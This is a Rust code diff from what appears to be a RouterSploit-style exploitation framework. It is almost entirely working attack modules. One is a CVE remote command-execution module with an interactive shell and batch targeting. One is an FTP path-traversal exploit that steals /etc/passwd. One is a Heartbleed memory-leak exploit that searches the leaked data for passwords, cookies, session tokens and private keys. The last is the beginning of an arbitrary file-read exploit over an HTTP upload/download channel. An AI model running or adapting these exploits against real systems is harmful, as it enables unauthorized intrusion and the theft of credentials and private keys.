let stdin = tokio::io::stdin();
|
||||
let mut lines = BufReader::new(stdin).lines();
|
||||
|
||||
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
|
||||
loop {
|
||||
print!("cve7029-shell> ");
|
||||
print!("{}", "cve7029-shell> ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
if let Some(cmd) = lines.next_line().await? {
|
||||
let cmd = cmd.trim();
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match exec_cmd(client, base, cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
break;
|
||||
@@ -71,44 +89,57 @@ async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
/// // Prompt user for a custom port number
|
||||
/// Prompt user for a custom port number
|
||||
fn prompt_port() -> Result<String> {
|
||||
print!("Enter port to use [default: 80]: ");
|
||||
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut port = String::new();
|
||||
io::stdin().read_line(&mut port)?;
|
||||
let port = port.trim();
|
||||
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
|
||||
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
|
||||
}
|
||||
|
||||
/// // Entry point required for RouterSploit-inspired dispatch system
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let port = prompt_port()?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// // Handle either single IP or file of targets
|
||||
// Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
|
||||
println!();
|
||||
|
||||
for raw_ip in &targets {
|
||||
let url = normalize_url(raw_ip, &port);
|
||||
println!("{}", format!("[*] Testing: {}", url).yellow());
|
||||
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("[+] {} is vulnerable!", url);
|
||||
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("[-] {} is not vulnerable", url);
|
||||
println!("{}", format!("[-] {} is not vulnerable", url).red());
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
println!("{}", "[*] Scan complete.".cyan());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,8 +1,7 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use ftp::FtpStream;
|
||||
use std::net::ToSocketAddrs;
|
||||
use suppaftp::FtpStream;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, copy, BufRead, BufReader, Write};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
@@ -35,12 +34,8 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
|
||||
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
|
||||
|
||||
// Resolve address with better error handling
|
||||
let socket_addr = addr.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
|
||||
|
||||
let mut ftp = FtpStream::connect(socket_addr)
|
||||
// Connect to FTP server
|
||||
let mut ftp = FtpStream::connect(&addr)
|
||||
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
|
||||
|
||||
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
|
||||
@@ -48,15 +43,19 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
|
||||
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
|
||||
|
||||
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
|
||||
.into_inner();
|
||||
let mut reader = std::io::Cursor::new(reader);
|
||||
|
||||
let safe_name = target.replace(['[', ']', ':'], "_");
|
||||
let out_file = format!("{}_passwd.txt", safe_name);
|
||||
let mut file = File::create(&out_file)?;
|
||||
copy(&mut reader, &mut file)?;
|
||||
|
||||
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
|
||||
io::copy(reader, &mut file)
|
||||
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
|
||||
std::io::ErrorKind::Other,
|
||||
format!("Failed to write file: {}", e)
|
||||
)))?;
|
||||
Ok(())
|
||||
})
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
|
||||
|
||||
ftp.quit().ok();
|
||||
|
||||
|
||||
@@ -1,37 +1,268 @@
|
||||
use anyhow::{Context, Result};
|
||||
use anyhow::{Context, Result, bail};
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use std::io::{Write, BufRead, BufReader};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
use tokio::time::{timeout, Duration, sleep};
|
||||
use regex::Regex;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::Colorize;
|
||||
|
||||
/// Entry point for dispatcher – uses default port 443
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_with_port(target, 443).await
|
||||
const MAX_RETRIES: u32 = 3;
|
||||
const INITIAL_BACKOFF_MS: u64 = 500;
|
||||
const MAX_CONCURRENT: usize = 10;
|
||||
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ScanConfig {
|
||||
pub port: u16,
|
||||
pub payload_size: u16,
|
||||
pub heartbeat_attempts: usize,
|
||||
pub batch_file: Option<String>,
|
||||
}
|
||||
|
||||
/// Full Heartbleed scanner with user-defined port (used internally)
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
// 1) Trim whitespace and strip _all_ bracket layers:
|
||||
impl Default for ScanConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
port: 443,
|
||||
payload_size: 0x4000,
|
||||
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
|
||||
batch_file: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let config = get_user_config(target)?;
|
||||
run_with_config(target, config).await
|
||||
}
|
||||
|
||||
fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
let mut config = ScanConfig::default();
|
||||
|
||||
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
|
||||
println!();
|
||||
|
||||
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
if let Ok(port) = input.trim().parse::<u16>() {
|
||||
if port > 0 {
|
||||
config.port = port;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
if let Ok(size) = input.trim().parse::<u16>() {
|
||||
if size > 0 && size <= 0x4000 {
|
||||
config.payload_size = size;
|
||||
} else if size > 0x4000 {
|
||||
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
|
||||
config.payload_size = 0x4000;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
if let Ok(attempts) = input.trim().parse::<usize>() {
|
||||
if attempts > 0 && attempts <= 20 {
|
||||
config.heartbeat_attempts = attempts;
|
||||
} else if attempts > 20 {
|
||||
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
|
||||
config.heartbeat_attempts = 20;
|
||||
}
|
||||
}
|
||||
|
||||
if target.is_empty() {
|
||||
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
|
||||
print!("{}", "Enter batch file path: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let batch_file = input.trim().to_string();
|
||||
|
||||
if !batch_file.is_empty() {
|
||||
if Path::new(&batch_file).exists() {
|
||||
config.batch_file = Some(batch_file);
|
||||
} else {
|
||||
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Configuration Summary:".cyan().bold());
|
||||
println!(" Port: {}", config.port);
|
||||
println!(" Payload Size: {} bytes", config.payload_size);
|
||||
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
|
||||
if let Some(ref batch) = config.batch_file {
|
||||
println!(" Batch File: {}", batch);
|
||||
}
|
||||
println!();
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
|
||||
if let Some(batch_file) = &config.batch_file {
|
||||
run_batch_scan(batch_file, &config).await
|
||||
} else {
|
||||
scan_single_target(target, &config).await
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
|
||||
let file = File::open(batch_file)
|
||||
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let targets: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok())
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
bail!("No valid targets found in batch file");
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
|
||||
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for target in targets {
|
||||
let config_clone = config.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
scan_single_target(&target, &config_clone).await
|
||||
}));
|
||||
}
|
||||
|
||||
while let Some(result) = tasks.next().await {
|
||||
if let Err(e) = result {
|
||||
eprintln!("{}", format!("[-] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "\n[*] Batch scan complete".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
|
||||
let raw = target.trim();
|
||||
|
||||
if raw.is_empty() {
|
||||
bail!("Target address cannot be empty");
|
||||
}
|
||||
|
||||
let stripped = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']');
|
||||
|
||||
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
|
||||
let host = if stripped.contains(':') {
|
||||
let host = if stripped.contains(':') && !stripped.contains('.') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
|
||||
// 3) Build the addr string with port:
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let addr = format!("{}:{}", host, config.port);
|
||||
|
||||
println!("[*] Connecting to {}...", addr);
|
||||
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
|
||||
addr, config.payload_size, config.heartbeat_attempts).cyan());
|
||||
|
||||
let mut all_leaked_data = Vec::new();
|
||||
|
||||
for attempt in 1..=config.heartbeat_attempts {
|
||||
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
|
||||
|
||||
match scan_with_retry(&addr, config.payload_size).await {
|
||||
Ok(Some(data)) => {
|
||||
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
|
||||
all_leaked_data.extend_from_slice(&data);
|
||||
}
|
||||
Ok(None) => {
|
||||
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
|
||||
}
|
||||
}
|
||||
|
||||
if attempt < config.heartbeat_attempts {
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
}
|
||||
|
||||
if all_leaked_data.is_empty() {
|
||||
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
|
||||
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
|
||||
println!();
|
||||
|
||||
analyze_leaked_data(&all_leaked_data);
|
||||
|
||||
let safe_filename = stripped
|
||||
.replace(':', "_")
|
||||
.replace('/', "_")
|
||||
.replace('\\', "_");
|
||||
let filename = format!("leak_dump_{}.bin", safe_filename);
|
||||
|
||||
save_leak_dump(&filename, &all_leaked_data)?;
|
||||
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let mut backoff = INITIAL_BACKOFF_MS;
|
||||
|
||||
for retry in 0..MAX_RETRIES {
|
||||
if retry > 0 {
|
||||
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
|
||||
sleep(Duration::from_millis(backoff)).await;
|
||||
backoff *= 2;
|
||||
}
|
||||
|
||||
match perform_heartbleed_test(addr, payload_size).await {
|
||||
Ok(data) => return Ok(data),
|
||||
Err(e) if retry < MAX_RETRIES - 1 => {
|
||||
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e),
|
||||
}
|
||||
}
|
||||
|
||||
bail!("All retry attempts exhausted")
|
||||
}
|
||||
|
||||
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
@@ -41,79 +272,153 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => bail!("Connection failed: {}", e),
|
||||
Err(_) => bail!("Connection timed out"),
|
||||
};
|
||||
|
||||
println!("[*] Sending Client Hello...");
|
||||
stream.write_all(&build_client_hello()).await?;
|
||||
stream.write_all(&build_client_hello()).await
|
||||
.context("Failed to send Client Hello")?;
|
||||
stream.flush().await
|
||||
.context("Failed to flush after Client Hello")?;
|
||||
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {}
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (Client Hello response)");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Ok(n)) if n > 0 => {},
|
||||
Ok(Ok(_)) => bail!("No response to Client Hello"),
|
||||
Ok(Err(e)) => bail!("Read error: {}", e),
|
||||
Err(_) => bail!("Read timed out"),
|
||||
}
|
||||
|
||||
println!("[*] Sending Heartbeat...");
|
||||
stream.write_all(&build_heartbeat_request(0x4000)).await?;
|
||||
stream.write_all(&build_heartbeat_request(payload_size)).await
|
||||
.context("Failed to send Heartbeat request")?;
|
||||
stream.flush().await
|
||||
.context("Failed to flush after Heartbeat")?;
|
||||
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
let n = match read_result {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No heartbeat response.");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (heartbeat response)");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Ok(_)) => return Ok(None),
|
||||
Ok(Err(_)) => return Ok(None),
|
||||
Err(_) => return Ok(None),
|
||||
};
|
||||
|
||||
println!("[+] Received {} bytes in heartbeat response!", n);
|
||||
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
|
||||
let path = Path::new(&filename);
|
||||
if n <= 5 {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
Ok(Some(leak[..n].to_vec()))
|
||||
}
|
||||
|
||||
fn analyze_leaked_data(data: &[u8]) {
|
||||
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
|
||||
|
||||
let data_str = String::from_utf8_lossy(data);
|
||||
|
||||
let password_patterns = vec![
|
||||
(r"password[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
|
||||
];
|
||||
|
||||
for (pattern, label) in password_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = cookie_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
if let Some(cookie) = cap.get(1) {
|
||||
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let session_patterns = vec![
|
||||
r"PHPSESSID=[a-zA-Z0-9]{20,}",
|
||||
r"JSESSIONID=[a-zA-Z0-9]{20,}",
|
||||
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
|
||||
];
|
||||
|
||||
for pattern in session_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let key_markers = vec![
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
];
|
||||
|
||||
for marker in key_markers {
|
||||
if data_str.contains(marker) {
|
||||
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
|
||||
}
|
||||
}
|
||||
|
||||
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = auth_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
if let Some(auth) = cap.get(1) {
|
||||
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
|
||||
if let Some(re) = email_re {
|
||||
let mut emails = std::collections::HashSet::new();
|
||||
for cap in re.find_iter(&data_str) {
|
||||
emails.insert(cap.as_str().to_string());
|
||||
}
|
||||
if !emails.is_empty() {
|
||||
println!();
|
||||
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
|
||||
for (i, email) in emails.iter().take(5).enumerate() {
|
||||
println!(" {}: {}", i + 1, email);
|
||||
}
|
||||
if emails.len() > 5 {
|
||||
println!(" ... and {} more", emails.len() - 5);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
|
||||
println!("{}", printable_dump(&data[..data.len().min(512)]));
|
||||
}
|
||||
|
||||
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
|
||||
let path = Path::new(filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
file.write_all(&leak[..n])
|
||||
file.write_all(data)
|
||||
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
|
||||
println!("[+] Leak dump saved to: {}", filename);
|
||||
println!("{}", printable_dump(&leak[..n]));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Builds a TLS ClientHello message
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302; // TLS 1.1
|
||||
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
|
||||
let version: u16 = 0x0302;
|
||||
let time_now = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_secs() as u32;
|
||||
|
||||
let mut random = vec![];
|
||||
random.extend_from_slice(&time_now.to_be_bytes());
|
||||
random.extend_from_slice(&vec![0x42; 28]);
|
||||
random.extend_from_slice(&[0x42; 28]);
|
||||
|
||||
let cipher_suites: Vec<u16> = vec![
|
||||
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
|
||||
@@ -122,18 +427,18 @@ fn build_client_hello() -> Vec<u8> {
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0); // Session ID length
|
||||
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
|
||||
for cs in &cipher_suites {
|
||||
hello.extend_from_slice(&cs.to_be_bytes());
|
||||
}
|
||||
hello.push(1); // Compression methods length
|
||||
hello.push(0); // No compression
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
|
||||
let mut extensions = vec![];
|
||||
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
|
||||
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
|
||||
extensions.push(0x01); // Extension data
|
||||
extensions.push(0x01);
|
||||
|
||||
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
|
||||
hello.extend_from_slice(&extensions);
|
||||
@@ -146,14 +451,12 @@ fn build_client_hello() -> Vec<u8> {
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
/// Builds a malicious Heartbeat request
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
/// Wraps payload in a TLS record
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
@@ -162,13 +465,13 @@ fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
record
|
||||
}
|
||||
|
||||
/// Converts binary leak to printable ASCII
|
||||
fn printable_dump(data: &[u8]) -> String {
|
||||
data.iter()
|
||||
.map(|b| match *b {
|
||||
32..=126 => *b as char,
|
||||
b'\n' | b'\r' | b'\t' => ' ',
|
||||
b'\n' => '\n',
|
||||
b'\r' | b'\t' => ' ',
|
||||
_ => '.',
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,238 @@
|
||||
use std::io::{self, Write};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::time::sleep;
|
||||
use reqwest::{Client};
|
||||
use uuid::Uuid;
|
||||
use regex::Regex;
|
||||
|
||||
const TIMEOUT_SECS: u64 = 4;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct ExploitState {
|
||||
url: String,
|
||||
identifier: String,
|
||||
client: Client,
|
||||
listening: Arc<Mutex<bool>>,
|
||||
}
|
||||
|
||||
impl ExploitState {
|
||||
fn new(url: String, identifier: String) -> Self {
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.build()
|
||||
.expect("Failed to create HTTP client");
|
||||
|
||||
Self {
|
||||
url,
|
||||
identifier,
|
||||
client,
|
||||
listening: Arc::new(Mutex::new(false)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn listen_and_print(&self) -> Result<()> {
|
||||
let response = self.client
|
||||
.post(&self.url)
|
||||
.query(&[("remoting", "false")])
|
||||
.header("Side", "download")
|
||||
.header("Session", &self.identifier)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to connect to target for listener")?;
|
||||
|
||||
let output = response.text().await?;
|
||||
self.print_formatted_output(&output);
|
||||
|
||||
*self.listening.lock().unwrap() = false;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_formatted_output(&self, output: &str) {
|
||||
if output.contains("ERROR: No such file") {
|
||||
println!("{}", "File not found.".red());
|
||||
return;
|
||||
} else if output.contains("ERROR: Failed to parse") {
|
||||
println!("{}", "Could not read file.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
|
||||
let results: Vec<String> = re
|
||||
.captures_iter(output)
|
||||
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
|
||||
.collect();
|
||||
|
||||
if !results.is_empty() {
|
||||
for line in results {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_file_request(&self, filepath: &str) -> Result<()> {
|
||||
let payload = get_payload(filepath);
|
||||
|
||||
self.client
|
||||
.post(&self.url)
|
||||
.query(&[("remoting", "false")])
|
||||
.header("Side", "upload")
|
||||
.header("Session", &self.identifier)
|
||||
.body(payload)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send file request")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn read_file(&self, filepath: &str) -> Result<()> {
|
||||
*self.listening.lock().unwrap() = true;
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
|
||||
if let Err(e) = self.send_file_request(filepath).await {
|
||||
*self.listening.lock().unwrap() = false;
|
||||
return Err(e);
|
||||
}
|
||||
|
||||
while *self.listening.lock().unwrap() {
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
|
||||
self.listen_and_print().await?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
|
||||
let text_bytes = text.as_bytes();
|
||||
let text_size = text_bytes.len() as u16;
|
||||
|
||||
let mut text_message = Vec::new();
|
||||
text_message.extend_from_slice(&text_size.to_be_bytes());
|
||||
text_message.extend_from_slice(text_bytes);
|
||||
|
||||
let message_size = text_message.len() as u32;
|
||||
|
||||
let mut payload = Vec::new();
|
||||
payload.extend_from_slice(&message_size.to_be_bytes());
|
||||
payload.push(operation_index);
|
||||
